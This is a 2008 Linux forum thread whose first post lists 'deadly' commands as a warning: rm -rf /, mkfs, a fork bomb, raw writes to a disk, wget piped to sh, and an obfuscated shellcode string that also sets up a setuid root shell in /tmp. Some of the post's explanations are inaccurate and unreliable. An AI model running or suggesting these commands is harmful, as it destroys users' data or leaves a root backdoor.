The Deadly Linux Commands

Discussion in 'Linux & BSD' started by binoyxj, Dec 15, 2008.

  1. binoyxj

    binoyxj PrOuD InDiAn

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    Location:
    KOCHI,KERALA,INDIA.
    Never try this commands by mistake while playing with linux terminals.Often i see people typing commands in random.

    1. Code:

    rm -rf /

    This command will recursively and forcefully delete all the files inside the root directory.

    2. Code:

    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";

    This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

    3. Code:

    mkfs.ext3 /dev/sda

    This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

    4. Code:

    :(){:|:&};:

    Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

    5. Code:

    any_command > /dev/sda

    With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

    6. Code:

    wget http://untrusted_source -O- | sh

    Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

    7. Code:

    mv /home/yourhomedirectory/* /dev/null

    This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.
     
  2. assclown

    assclown OSNN Citizen Man

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    How would you EVER randomly type any of those by accident? Also, Linux is a terrible OS, and if coders ever want it to be successful, they need to make it way more user friendly. We left command lines behind a long time ago.
     
    Last edited by a moderator: Jan 14, 2009
  3. Dark Atheist

    Dark Atheist Moderator Political User Folding Team

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    dont feed the troll
     
  4. LordOfLA

    LordOfLA Godlike!

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    I don't think telling the troll not to feed himself is going to work somehow :p
     
  5. assclown

    assclown OSNN Citizen Man

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    That is nice and random. Thank you for that...:crosseyed:
     
  6. tdinc

    tdinc █▄█ ▀█▄ █ Political User

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    lets keep this topic on track if you continue discussion.

    thanks
     
  7. assclown

    assclown OSNN Citizen Man

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    As this is a command line post, i had problems getting my laptop to update drivers. I am very new. it is Kubuntu 8.10. I was in Adept but did not see anything for Intel. Is there a way i can manually tell it where to look online? i think i found a link that looks like it should work.
     
  8. Dark Atheist

    Dark Atheist Moderator Political User Folding Team

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    was hoping for reverse psychology :p
     
  9. X-Istence

    X-Istence * Political User

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    Location:
    USA
    FreeBSD 7.x protection was added against rm -rf /, mainly because certain administrators wrote shell scripts as such:

    rm -rf $PATH/$DIRECTORY

    What if both $PATH and $DIRECTORY are empty?

    That being said, all of those commands are only "deadly" when run by a super user, besides the moving your home folder into /dev/null. Then again, that is just retarded.